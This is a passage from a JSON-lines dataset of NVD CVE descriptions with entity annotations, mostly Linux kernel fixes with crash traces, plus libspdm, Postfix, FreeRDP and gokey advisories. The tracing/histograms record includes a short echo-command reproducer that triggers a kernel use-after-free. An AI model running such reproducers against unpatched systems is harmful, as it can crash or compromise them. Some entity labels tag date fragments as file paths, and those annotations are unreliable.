dump_stack_lvl+0x60/0x80\n[  +0.000007]  print_report+0xce/0x630\n[  +0.000007]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[  +0.000007]  ? __virt_addr_valid+0x1c9/0x2c0\n[  +0.000005]  ? netif_queue_set_napi+0x1c2/0x1e0\n[  +0.000003]  kasan_report+0xe9/0x120\n[  +0.000004]  ? netif_queue_set_napi+0x1c2/0x1e0\n[  +0.000004]  netif_queue_set_napi+0x1c2/0x1e0\n[  +0.000005]  ice_vsi_close+0x161/0x670 [ice]\n[  +0.000114]  ice_dis_vsi+0x22f/0x270 [ice]\n[  +0.000095]  ice_pf_dis_all_vsi.constprop.0+0xae/0x1c0 [ice]\n[  +0.000086]  ice_prepare_for_reset+0x299/0x750 [ice]\n[  +0.000087]  pci_dev_save_and_disable+0x82/0xd0\n[  +0.000006]  pci_reset_function+0x12d/0x230\n[  +0.000004]  reset_store+0xa0/0x100\n[  +0.000006]  ? __pfx_reset_store+0x10/0x10\n[  +0.000002]  ? __pfx_mutex_lock+0x10/0x10\n[  +0.000004]  ? __check_object_size+0x4c1/0x640\n[  +0.000007]  kernfs_fop_write_iter+0x30b/0x4a0\n[  +0.000006]  vfs_write+0x5d6/0xdf0\n[  +0.000005]  ? fd_install+0x180/0x350\n[  +0.000005]  ? __pfx_vfs_write+0x10/0xA10\n[  +0.000004]  ? do_fcntl+0x52c/0xcd0\n[  +0.000004]  ? kasan_save_track+0x13/0x60\n[  +0.000003]  ? kasan_save_free_info+0x37/0x60\n[  +0.000006]  ksys_write+0xfa/0x1d0\n[  +0.000003]  ? __pfx_ksys_write+0x10/0x10\n[  +0.000002]  ? __x64_sys_fcntl+0x121/0x180\n[  +0.000004]  ? _raw_spin_lock+0x87/0xe0\n[  +0.000005]  do_syscall_64+0x80/0x170\n[  +0.000007]  ? _raw_spin_lock+0x87/0xe0\n[  +0.000004]  ? __pfx__raw_spin_lock+0x10/0x10\n[  +0.000003]  ? file_close_fd_locked+0x167/0x230\n[  +0.000005]  ? syscall_exit_to_user_mode+0x7d/0x220\n[  +0.000005]  ? do_syscall_64+0x8c/0x170\n[  +0.000004]  ? do_syscall_64+0x8c/0x170\n[  +0.000003]  ? do_syscall_64+0x8c/0x170\n[  +0.000003]  ? fput+0x1a/0x2c0\n[  +0.000004]  ? filp_close+0x19/0x30\n[  +0.000004]  ? do_dup2+0x25a/0x4c0\n[  +0.000004]  ? __x64_sys_dup2+0x6e/0x2e0\n[  +0.000002]  ? syscall_exit_to_user_mode+0x7d/0x220\n[  +0.000004]  ? do_syscall_64+0x8c/0x170\n[  +0.000003]  ? __count_memcg_events+0x113/0x380\n[  +0.000005]  ? handle_mm_fault+0x136/0x820\n[  +0.000005]  ? do_user_addr_fault+0x444/0xa80\n[  +0.000004]  ? clear_bhb_loop+0x25/0x80\n[  +0.000004]  ? clear_bhb_loop+0x25/0x80\n[  +0.000002]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  +0.000005] RIP: 0033:0x7f2033593154", "spans": {"FILEPATH: /26/2021": [[1079, 1087]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[999, 1004]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46766"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: compress: fix reserve_cblocks counting error when out of space\n\nWhen a file only needs one direct_node, performing the following\noperations will cause the file to be unrepairable:\n\nunisoc # ./f2fs_io compress test.apk\nunisoc #df -h | grep dm-48\n/dev/block/dm-48 112G 112G 1.2M 100% /data\n\nunisoc # ./f2fs_io release_cblocks test.apk\n924\nunisoc # df -h | grep dm-48\n/dev/block/dm-48 112G 112G 4.8M 100% /data\n\nunisoc # dd if=/dev/random of=file4 bs=1M count=3\n3145728 bytes (3.0 M) copied, 0.025 s, 120 M/s\nunisoc # df -h | grep dm-48\n/dev/block/dm-48 112G 112G 1.8M 100% /data\n\nunisoc # ./f2fs_io reserve_cblocks test.apk\nF2FS_IOC_RESERVE_COMPRESS_BLOCKS failed: No space left on device\n\nadb reboot\nunisoc # df -h  | grep dm-48\n/dev/block/dm-48             112G 112G   11M 100% /data\nunisoc # ./f2fs_io reserve_cblocks test.apk\n0\n\nThis is because the file has only one direct_node. After returning\nto -ENOSPC, reserved_blocks += ret will not be executed. As a result,\nthe reserved_blocks at this time is still 0, which is not the real\nnumber of reserved blocks. Therefore, fsck cannot be set to repair\nthe file.\n\nAfter this patch, the fsck flag will be set to fix this problem.\n\nunisoc # df -h | grep dm-48\n/dev/block/dm-48             112G 112G  1.8M 100% /data\nunisoc # ./f2fs_io reserve_cblocks test.apk\nF2FS_IOC_RESERVE_COMPRESS_BLOCKS failed: No space left on device\n\nadb reboot then fsck will be executed\nunisoc # df -h  | grep dm-48\n/dev/block/dm-48             112G 112G   11M 100% /data\nunisoc # ./f2fs_io reserve_cblocks test.apk\n924", "spans": {"FILEPATH: /dev/block/dm-48": [[320, 336], [440, 456], [609, 625], [803, 819], [1282, 1298], [1515, 1531]], "FILEPATH: /dev/random": [[499, 510]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35844"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: iris: fix module removal if firmware download failed\n\nFix remove if firmware failed to load:\nqcom-iris aa00000.video-codec: Direct firmware load for qcom/vpu/vpu33_p4.mbn failed with error -2\nqcom-iris aa00000.video-codec: firmware download failed\nqcom-iris aa00000.video-codec: core init failed\n\nthen:\n$ echo aa00000.video-codec > /sys/bus/platform/drivers/qcom-iris/unbind\n\nTriggers:\ngenpd genpd:1:aa00000.video-codec: Runtime PM usage count underflow!\n------------[ cut here ]------------\nvideo_cc_mvs0_clk already disabled\nWARNING: drivers/clk/clk.c:1206 at clk_core_disable+0xa4/0xac, CPU#1: sh/542\n<snip>\npc : clk_core_disable+0xa4/0xac\nlr : clk_core_disable+0xa4/0xac\n<snip>\nCall trace:\n clk_core_disable+0xa4/0xac (P)\n clk_disable+0x30/0x4c\n iris_disable_unprepare_clock+0x20/0x48 [qcom_iris]\n iris_vpu_power_off_hw+0x48/0x58 [qcom_iris]\n iris_vpu33_power_off_hardware+0x44/0x230 [qcom_iris]\n iris_vpu_power_off+0x34/0x84 [qcom_iris]\n iris_core_deinit+0x44/0xc8 [qcom_iris]\n iris_remove+0x20/0x48 [qcom_iris]\n platform_remove+0x20/0x30\n device_remove+0x4c/0x80\n<snip>\n---[ end trace 0000000000000000 ]---\n------------[ cut here ]------------\nvideo_cc_mvs0_clk already unprepared\nWARNING: drivers/clk/clk.c:1065 at clk_core_unprepare+0xf0/0x110, CPU#2: sh/542\n<snip>\npc : clk_core_unprepare+0xf0/0x110\nlr : clk_core_unprepare+0xf0/0x110\n<snip>\nCall trace:\n clk_core_unprepare+0xf0/0x110 (P)\n clk_unprepare+0x2c/0x44\n iris_disable_unprepare_clock+0x28/0x48 [qcom_iris]\n iris_vpu_power_off_hw+0x48/0x58 [qcom_iris]\n iris_vpu33_power_off_hardware+0x44/0x230 [qcom_iris]\n iris_vpu_power_off+0x34/0x84 [qcom_iris]\n iris_core_deinit+0x44/0xc8 [qcom_iris]\n iris_remove+0x20/0x48 [qcom_iris]\n platform_remove+0x20/0x30\n device_remove+0x4c/0x80\n<snip>\n---[ end trace 0000000000000000 ]---\ngenpd genpd:0:aa00000.video-codec: Runtime PM usage count underflow!\n------------[ cut here ]------------\ngcc_video_axi0_clk already disabled\nWARNING: drivers/clk/clk.c:1206 at clk_core_disable+0xa4/0xac, CPU#4: sh/542\n<snip>\npc : clk_core_disable+0xa4/0xac\nlr : clk_core_disable+0xa4/0xac\n<snip>\nCall trace:\n clk_core_disable+0xa4/0xac (P)\n clk_disable+0x30/0x4c\n iris_disable_unprepare_clock+0x20/0x48 [qcom_iris]\n iris_vpu33_power_off_controller+0x17c/0x428 [qcom_iris]\n iris_vpu_power_off+0x48/0x84 [qcom_iris]\n iris_core_deinit+0x44/0xc8 [qcom_iris]\n iris_remove+0x20/0x48 [qcom_iris]\n platform_remove+0x20/0x30\n device_remove+0x4c/0x80\n<snip>\n------------[ cut here ]------------\ngcc_video_axi0_clk already unprepared\nWARNING: drivers/clk/clk.c:1065 at clk_core_unprepare+0xf0/0x110, CPU#4: sh/542\n<snip>\npc : clk_core_unprepare+0xf0/0x110\nlr : clk_core_unprepare+0xf0/0x110\n<snip>\nCall trace:\n clk_core_unprepare+0xf0/0x110 (P)\n clk_unprepare+0x2c/0x44\n iris_disable_unprepare_clock+0x28/0x48 [qcom_iris]\n iris_vpu33_power_off_controller+0x17c/0x428 [qcom_iris]\n iris_vpu_power_off+0x48/0x84 [qcom_iris]\n iris_core_deinit+0x44/0xc8 [qcom_iris]\n iris_remove+0x20/0x48 [qcom_iris]\n platform_remove+0x20/0x30\n device_remove+0x4c/0x80\n<snip>\n---[ end trace 0000000000000000 ]---\n\nSkip deinit if initialization never succeeded.", "spans": {"FILEPATH: /vpu/vpu33_p4.mbn": [[229, 246]], "FILEPATH: /sys/bus/platform/drivers/qcom-iris/unbind": [[408, 450]], "FILEPATH: /clk/clk.c": [[619, 629], [1279, 1289], [2021, 2031], [2603, 2613]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40208"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsysv: don't call sb_bread() with pointers_lock held\n\nsyzbot is reporting sleep in atomic context in SysV filesystem [1], for\nsb_bread() is called with rw_spinlock held.\n\nA \"write_lock(&pointers_lock) => read_lock(&pointers_lock) deadlock\" bug\nand a \"sb_bread() with write_lock(&pointers_lock)\" bug were introduced by\n\"Replace BKL for chain locking with sysvfs-private rwlock\" in Linux 2.5.12.\n\nThen, \"[PATCH] err1-40: sysvfs locking fix\" in Linux 2.6.8 fixed the\nformer bug by moving pointers_lock lock to the callers, but instead\nintroduced a \"sb_bread() with read_lock(&pointers_lock)\" bug (which made\nthis problem easier to hit).\n\nAl Viro suggested that why not to do like get_branch()/get_block()/\nfind_shared() in Minix filesystem does. And doing like that is almost a\nrevert of \"[PATCH] err1-40: sysvfs locking fix\" except that get_branch()\n from with find_shared() is called without write_lock(&pointers_lock).", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[448, 453], [510, 515]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52699"}}
{"text": "libspdm is a sample implementation that follows the DMTF SPDM specifications. A vulnerability has been identified in SPDM session establishment in libspdm prior to version 2.3.1. If a device supports both DHE session and PSK session with mutual\nauthentication, the attacker may be able to establish the session with `KEY_EXCHANGE` and `PSK_FINISH` to bypass the mutual authentication. This is most likely to happen when the Requester begins a session using one method (DHE, for example) and then uses the other method's finish (PSK_FINISH in this example) to establish the session. The session hashes would be expected to fail in this case, but the condition was not detected.\n\nThis issue only impacts the SPDM responder, which supports `KEY_EX_CAP=1 and `PSK_CAP=10b` at same time with mutual authentication requirement. The SPDM requester is not impacted. The SPDM responder is not impacted if `KEY_EX_CAP=0` or `PSK_CAP=0` or `PSK_CAP=01b`. The SPDM responder is not impacted if mutual authentication is not required.\n\nlibspdm 1.0, 2.0, 2.1, 2.2, 2.3 are all impacted. Older branches are not maintained, but users of the 2.3 branch may receive a patch in version 2.3.2. The SPDM specification (DSP0274) does not contain this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-31127"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: asix: hold PM usage ref to avoid PM/MDIO + RTNL deadlock\n\nPrevent USB runtime PM (autosuspend) for AX88772* in bind.\n\nusbnet enables runtime PM (autosuspend) by default, so disabling it via\nthe usb_driver flag is ineffective. On AX88772B, autosuspend shows no\nmeasurable power saving with current driver (no link partner, admin\nup/down). The ~0.453 W -> ~0.248 W drop on v6.1 comes from phylib powering\nthe PHY off on admin-down, not from USB autosuspend.\n\nThe real hazard is that with runtime PM enabled, ndo_open() (under RTNL)\nmay synchronously trigger autoresume (usb_autopm_get_interface()) into\nasix_resume() while the USB PM lock is held. Resume paths then invoke\nphylink/phylib and MDIO, which also expect RTNL, leading to possible\ndeadlocks or PM lock vs MDIO wake issues.\n\nTo avoid this, keep the device runtime-PM active by taking a usage\nreference in ax88772_bind() and dropping it in unbind(). A non-zero PM\nusage count blocks runtime suspend regardless of userspace policy\n(.../power/control - pm_runtime_allow/forbid), making this approach\nrobust against sysfs overrides.\n\nHolding a runtime-PM usage ref does not affect system-wide suspend;\nsystem sleep/resume callbacks continue to run as before.", "spans": {"FILEPATH: /power/control": [[1070, 1084]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40120"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/deadline: only set free_cpus for online runqueues\n\nCommit 16b269436b72 (\"sched/deadline: Modify cpudl::free_cpus\nto reflect rd->online\") introduced the cpudl_set/clear_freecpu\nfunctions to allow the cpu_dl::free_cpus mask to be manipulated\nby the deadline scheduler class rq_on/offline callbacks so the\nmask would also reflect this state.\n\nCommit 9659e1eeee28 (\"sched/deadline: Remove cpu_active_mask\nfrom cpudl_find()\") removed the check of the cpu_active_mask to\nsave some processing on the premise that the cpudl::free_cpus\nmask already reflected the runqueue online state.\n\nUnfortunately, there are cases where it is possible for the\ncpudl_clear function to set the free_cpus bit for a CPU when the\ndeadline runqueue is offline. When this occurs while a CPU is\nconnected to the default root domain the flag may retain the bad\nstate after the CPU has been unplugged. Later, a different CPU\nthat is transitioning through the default root domain may push a\ndeadline task to the powered down CPU when cpudl_find sees its\nfree_cpus bit is set. If this happens the task will not have the\nopportunity to run.\n\nOne example is outlined here:\nhttps://lore.kernel.org/lkml/20250110233010.2339521-1-opendmb@gmail.com\n\nAnother occurs when the last deadline task is migrated from a\nCPU that has an offlined runqueue. The dequeue_task member of\nthe deadline scheduler class will eventually call cpudl_clear\nand set the free_cpus bit for the CPU.\n\nThis commit modifies the cpudl_clear function to be aware of the\nonline state of the deadline runqueue so that the free_cpus mask\ncan be updated appropriately.\n\nIt is no longer necessary to manage the mask outside of the\ncpudl_set/clear functions so the cpudl_set/clear_freecpu\nfunctions are removed. In addition, since the free_cpus mask is\nnow only updated under the cpudl lock the code was changed to\nuse the non-atomic __cpumask functions.", "spans": {"URL: https://lore.kernel.org/lkml/20250110233010.2339521-1-opendmb@gmail.com": [[1212, 1283]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68780"}}
{"text": "A certain Postfix 2.10.1-7 package could allow an attacker to send an email from an arbitrary-looking sender via a homoglyph attack, as demonstrated by the similarity of \\xce\\xbf to the 'o' character. This is potentially relevant when the /etc/postfix/sender_login feature is used, because a spoofed outbound message that uses a configured sender address is blocked with a \"Sender address rejected: not logged in\" error message, but a spoofed outbound message that uses a homoglyph of a configured sender address is not blocked. NOTE: some third parties argue that any missed blocking of spoofed outbound messages - except for exact matches to a sender address in the /etc/postfix/sender_login file - is outside the design goals of Postfix and thus cannot be considered a Postfix vulnerability", "spans": {"FILEPATH: /etc/postfix/sender_login": [[239, 264], [668, 693]], "SYSTEM: Postfix": [[10, 17], [732, 739], [772, 779]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12063"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: Fix double increment of client_count in dma_chan_get()\n\nThe first time dma_chan_get() is called for a channel the channel\nclient_count is incorrectly incremented twice for public channels,\nfirst in balance_ref_count(), and again prior to returning. This\nresults in an incorrect client count which will lead to the\nchannel resources not being freed when they should be. A simple\n test of repeated module load and unload of async_tx on a Dell\n Power Edge R7425 also shows this resulting in a kref underflow\n warning.\n\n[  124.329662] async_tx: api initialized (async)\n[  129.000627] async_tx: api initialized (async)\n[  130.047839] ------------[ cut here ]------------\n[  130.052472] refcount_t: underflow; use-after-free.\n[  130.057279] WARNING: CPU: 3 PID: 19364 at lib/refcount.c:28\nrefcount_warn_saturate+0xba/0x110\n[  130.065811] Modules linked in: async_tx(-) rfkill intel_rapl_msr\nintel_rapl_common amd64_edac edac_mce_amd ipmi_ssif kvm_amd dcdbas kvm\nmgag200 drm_shmem_helper acpi_ipmi irqbypass drm_kms_helper ipmi_si\nsyscopyarea sysfillrect rapl pcspkr ipmi_devintf sysimgblt fb_sys_fops\nk10temp i2c_piix4 ipmi_msghandler acpi_power_meter acpi_cpufreq vfat\nfat drm fuse xfs libcrc32c sd_mod t10_pi sg ahci crct10dif_pclmul\nlibahci crc32_pclmul crc32c_intel ghash_clmulni_intel igb megaraid_sas\ni40e libata i2c_algo_bit ccp sp5100_tco dca dm_mirror dm_region_hash\ndm_log dm_mod [last unloaded: async_tx]\n[  130.117361] CPU: 3 PID: 19364 Comm: modprobe Kdump: loaded Not\ntainted 5.14.0-185.el9.x86_64 #1\n[  130.126091] Hardware name: Dell Inc. PowerEdge R7425/02MJ3T, BIOS\n1.18.0 01/17/2022\n[  130.133806] RIP: 0010:refcount_warn_saturate+0xba/0x110\n[  130.139041] Code: 01 01 e8 6d bd 55 00 0f 0b e9 72 9d 8a 00 80 3d\n26 18 9c 01 00 75 85 48 c7 c7 f8 a3 03 9d c6 05 16 18 9c 01 01 e8 4a\nbd 55 00 <0f> 0b e9 4f 9d 8a 00 80 3d 01 18 9c 01 00 0f 85 5e ff ff ff\n48 c7\n[  130.157807] RSP: 0018:ffffbf98898afe68 EFLAGS: 00010286\n[  130.163036] RAX: 0000000000000000 RBX: ffff9da06028e598 RCX: 0000000000000000\n[  130.170172] RDX: ffff9daf9de26480 RSI: ffff9daf9de198a0 RDI: ffff9daf9de198a0\n[  130.177316] RBP: ffff9da7cddf3970 R08: 0000000000000000 R09: 00000000ffff7fff\n[  130.184459] R10: ffffbf98898afd00 R11: ffffffff9d9e8c28 R12: ffff9da7cddf1970\n[  130.191596] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n[  130.198739] FS:  00007f646435c740(0000) GS:ffff9daf9de00000(0000)\nknlGS:0000000000000000\n[  130.206832] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  130.212586] CR2: 00007f6463b214f0 CR3: 00000008ab98c000 CR4: 00000000003506e0\n[  130.219729] Call Trace:\n[  130.222192]  <TASK>\n[  130.224305]  dma_chan_put+0x10d/0x110\n[  130.227988]  dmaengine_put+0x7a/0xa0\n[  130.231575]  __do_sys_delete_module.constprop.0+0x178/0x280\n[  130.237157]  ? syscall_trace_enter.constprop.0+0x145/0x1d0\n[  130.242652]  do_syscall_64+0x5c/0x90\n[  130.246240]  ? exc_page_fault+0x62/0x150\n[  130.250178]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  130.255243] RIP: 0033:0x7f6463a3f5ab\n[  130.258830] Code: 73 01 c3 48 8b 0d 75 a8 1b 00 f7 d8 64 89 01 48\n83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 b0 00 00\n00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 45 a8 1b 00 f7 d8 64 89\n01 48\n[  130.277591] RSP: 002b:00007fff22f972c8 EFLAGS: 00000206 ORIG_RAX:\n00000000000000b0\n[  130.285164] RAX: ffffffffffffffda RBX: 000055b6786edd40 RCX: 00007f6463a3f5ab\n[  130.292303] RDX: 0000000000000000 RSI: 0000000000000800 RDI: 000055b6786edda8\n[  130.299443] RBP: 000055b6786edd40 R08: 0000000000000000 R09: 0000000000000000\n[  130.306584] R10: 00007f6463b9eac0 R11: 0000000000000206 R12: 000055b6786edda8\n[  130.313731] R13: 0000000000000000 R14: 000055b6786edda8 R15: 00007fff22f995f8\n[  130.320875]  </TASK>\n[  130.323081] ---[ end trace eff7156d56b5cf25 ]---\n\ncat /sys/class/dma/dma0chan*/in_use would get the wrong result.\n2\n2\n2\n\nTest-by: Jie Hai <haijie1@huawei.com>", "spans": {"DOMAIN: huawei.com": [[3969, 3979]], "FILEPATH: /17/2022": [[1667, 1675]], "FILEPATH: /sys/class/dma/dma0chan": [[3876, 3899]], "FILEPATH: refcount.c": [[849, 859]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[516, 520], [1619, 1623]], "VULNERABILITY: use-after-free": [[784, 798]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49753"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/dp_mst: Fix MST sideband message body length check\n\nFix the MST sideband message body length check, which must be at least 1\nbyte accounting for the message body CRC (aka message data CRC) at the\nend of the message.\n\nThis fixes a case where an MST branch device returns a header with a\ncorrect header CRC (indicating a correctly received body length), with\nthe body length being incorrectly set to 0. This will later lead to a\nmemory corruption in drm_dp_sideband_append_payload() and the following\nerrors in dmesg:\n\n   UBSAN: array-index-out-of-bounds in drivers/gpu/drm/display/drm_dp_mst_topology.c:786:25\n   index -1 is out of range for type 'u8 [48]'\n   Call Trace:\n    drm_dp_sideband_append_payload+0x33d/0x350 [drm_display_helper]\n    drm_dp_get_one_sb_msg+0x3ce/0x5f0 [drm_display_helper]\n    drm_dp_mst_hpd_irq_handle_event+0xc8/0x1580 [drm_display_helper]\n\n   memcpy: detected field-spanning write (size 18446744073709551615) of single field \"&msg->msg[msg->curlen]\" at drivers/gpu/drm/display/drm_dp_mst_topology.c:791 (size 256)\n   Call Trace:\n    drm_dp_sideband_append_payload+0x324/0x350 [drm_display_helper]\n    drm_dp_get_one_sb_msg+0x3ce/0x5f0 [drm_display_helper]\n    drm_dp_mst_hpd_irq_handle_event+0xc8/0x1580 [drm_display_helper]", "spans": {"FILEPATH: /gpu/drm/display/drm_dp_mst_topology.c": [[636, 674], [1061, 1099]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[500, 517]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56616"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Add histograms to hist_vars if they have referenced variables\n\nHist triggers can have referenced variables without having direct\nvariables fields. This can be the case if referenced variables are added\nfor trigger actions. In this case the newly added references will not\nhave field variables. Not taking such referenced variables into\nconsideration can result in a bug where it would be possible to remove\nhist trigger with variables being refenced. This will result in a bug\nthat is easily reproducable like so\n\n$ cd /sys/kernel/tracing\n$ echo 'synthetic_sys_enter char[] comm; long id' >> synthetic_events\n$ echo 'hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger\n$ echo 'hist:keys=common_pid.execname,id.syscall:onmatch(raw_syscalls.sys_enter).synthetic_sys_enter($comm, id)' >> events/raw_syscalls/sys_enter/trigger\n$ echo '!hist:keys=common_pid.execname,id.syscall:vals=hitcount:comm=common_pid.execname' >> events/raw_syscalls/sys_enter/trigger\n\n[  100.263533] ==================================================================\n[  100.264634] BUG: KASAN: slab-use-after-free in resolve_var_refs+0xc7/0x180\n[  100.265520] Read of size 8 at addr ffff88810375d0f0 by task bash/439\n[  100.266320]\n[  100.266533] CPU: 2 PID: 439 Comm: bash Not tainted 6.5.0-rc1 #4\n[  100.267277] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-20220807_005459-localhost 04/01/2014\n[  100.268561] Call Trace:\n[  100.268902]  <TASK>\n[  100.269189]  dump_stack_lvl+0x4c/0x70\n[  100.269680]  print_report+0xc5/0x600\n[  100.270165]  ? resolve_var_refs+0xc7/0x180\n[  100.270697]  ? kasan_complete_mode_report_info+0x80/0x1f0\n[  100.271389]  ? resolve_var_refs+0xc7/0x180\n[  100.271913]  kasan_report+0xbd/0x100\n[  100.272380]  ? resolve_var_refs+0xc7/0x180\n[  100.272920]  __asan_load8+0x71/0xa0\n[  100.273377]  resolve_var_refs+0xc7/0x180\n[  100.273888]  event_hist_trigger+0x749/0x860\n[  100.274505]  ? kasan_save_stack+0x2a/0x50\n[  100.275024]  ? kasan_set_track+0x29/0x40\n[  100.275536]  ? __pfx_event_hist_trigger+0x10/0x10\n[  100.276138]  ? ksys_write+0xd1/0x170\n[  100.276607]  ? do_syscall_64+0x3c/0x90\n[  100.277099]  ? entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n[  100.277771]  ? destroy_hist_data+0x446/0x470\n[  100.278324]  ? event_hist_trigger_parse+0xa6c/0x3860\n[  100.278962]  ? __pfx_event_hist_trigger_parse+0x10/0x10\n[  100.279627]  ? __kasan_check_write+0x18/0x20\n[  100.280177]  ? mutex_unlock+0x85/0xd0\n[  100.280660]  ? __pfx_mutex_unlock+0x10/0x10\n[  100.281200]  ? kfree+0x7b/0x120\n[  100.281619]  ? ____kasan_slab_free+0x15d/0x1d0\n[  100.282197]  ? event_trigger_write+0xac/0x100\n[  100.282764]  ? __kasan_slab_free+0x16/0x20\n[  100.283293]  ? __kmem_cache_free+0x153/0x2f0\n[  100.283844]  ? sched_mm_cid_remote_clear+0xb1/0x250\n[  100.284550]  ? __pfx_sched_mm_cid_remote_clear+0x10/0x10\n[  100.285221]  ? event_trigger_write+0xbc/0x100\n[  100.285781]  ? __kasan_check_read+0x15/0x20\n[  100.286321]  ? __bitmap_weight+0x66/0xa0\n[  100.286833]  ? _find_next_bit+0x46/0xe0\n[  100.287334]  ? task_mm_cid_work+0x37f/0x450\n[  100.287872]  event_triggers_call+0x84/0x150\n[  100.288408]  trace_event_buffer_commit+0x339/0x430\n[  100.289073]  ? ring_buffer_event_data+0x3f/0x60\n[  100.292189]  trace_event_raw_event_sys_enter+0x8b/0xe0\n[  100.295434]  syscall_trace_enter.constprop.0+0x18f/0x1b0\n[  100.298653]  syscall_enter_from_user_mode+0x32/0x40\n[  100.301808]  do_syscall_64+0x1a/0x90\n[  100.304748]  entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n[  100.307775] RIP: 0033:0x7f686c75c1cb\n[  100.310617] Code: 73 01 c3 48 8b 0d 65 3c 10 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 21 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 35 3c 10 00 f7 d8 64 89 01 48\n[  100.317847] RSP: 002b:00007ffc60137a38 EFLAGS: 00000246 ORIG_RAX: 0000000000000021\n[  100.321200] RA\n---truncated---", "spans": {"FILEPATH: /sys/kernel/tracing": [[608, 627]], "FILEPATH: /raw_syscalls/sys_enter/trigger": [[796, 827], [950, 981], [1081, 1112]], "FILEPATH: /01/2014": [[1538, 1546]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1458, 1462]], "VULNERABILITY: use-after-free": [[1228, 1242]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53560"}}
{"text": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0,  the gdi_surface_bits() function processes SURFACE_BITS_COMMAND messages sent by the RDP server. When the command is handled using NSCodec, the bmp.width and bmp.height values provided by the server are not properly validated against the actual desktop dimensions. A malicious RDP server can supply crafted bmp.width and bmp.height values that exceed the expected surface size. Because these values are used during bitmap decoding and memory operations without proper bounds checking, this can lead to a heap buffer overflow. Since the attacker can also control the associated pixel data transmitted by the server, the overflow may be exploitable to overwrite adjacent heap memory. This vulnerability is fixed in 3.24.0.", "spans": {"VULNERABILITY: buffer overflow": [[591, 606]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31806"}}
{"text": "In gokey versions <0.2.0,\n a flaw in the seed decryption logic resulted in passwords incorrectly \nbeing derived solely from the initial vector and the AES-GCM \nauthentication tag of the key seed.\n\n\nThis issue has been fixed in gokey version 0.2.0. This is a breaking change. The fix has invalidated any passwords/secrets that were derived from the seed file (using the -s option). Even if the input seed file stays the same, version 0.2.0 gokey will generate different secrets.\n\n\nImpact\nThis vulnerability impacts generated keys/secrets using a seed file as an entropy input (using the -s option). Keys/secrets generated just from the master password (without the -s\n option) are not impacted. The confidentiality of the seed itself is \nalso not impacted (it is not required to regenerate the seed itself). \nSpecific impact includes:\n\n\n\n  *  keys/secrets generated from a seed file may have lower entropy: it \nwas expected that the whole seed would be used to generate keys (240 \nbytes of entropy input), where in vulnerable versions only 28 bytes was \nused\n\n  *  a malicious entity could have recovered all passwords, generated \nfrom a particular seed, having only the seed file in possession without \nthe knowledge of the seed master password\n\n\n\n\nPatches\nThe code logic bug has been fixed in gokey version 0.2.0\n and above. Due to the deterministic nature of gokey, fixed versions \nwill produce different passwords/secrets using seed files, as all seed \nentropy will be used now.\n\n\nSystem secret rotation guidance\nIt is advised for users to regenerate passwords/secrets using the patched version of gokey (0.2.0\n and above), and provision/rotate these secrets into respective systems \nin place of the old secret. A specific rotation procedure is \nsystem-dependent, but most common patterns are described below.\n\n\nSystems that do not require the old password/secret for rotation\nSuch systems usually have a \"Forgot password\" facility or a\n similar facility allowing users to rotate their password/secrets by \nsending a unique \"magic\" link to the user's email or phone. In such \ncases users are advised to use this facility and input the newly \ngenerated password secret, when prompted by the system.\n\n\nSystems that require the old password/secret for rotation\nSuch systems usually have a modal password rotation window\n usually in the user settings section requiring the user to input the \nold and the new password sometimes with a confirmation. To \ngenerate/recover the old password in such cases users are advised to:\n\n\n\n  *  temporarily download  gokey version 0.1.3 https://github.com/cloudflare/gokey/releases/tag/v0.1.3  for their respective operating system to recover the old password\n\n  *  use gokey version 0.2.0 or above to generate the new password\n\n  *  populate the system provided password rotation form\n\n\n\n\nSystems that allow multiple credentials for the same account to be provisioned\nSuch systems usually require a secret or a cryptographic \nkey as a credential for access, but allow several credentials at the \nsame time. One example is SSH: a particular user may have several \nauthorized public keys configured on the SSH server 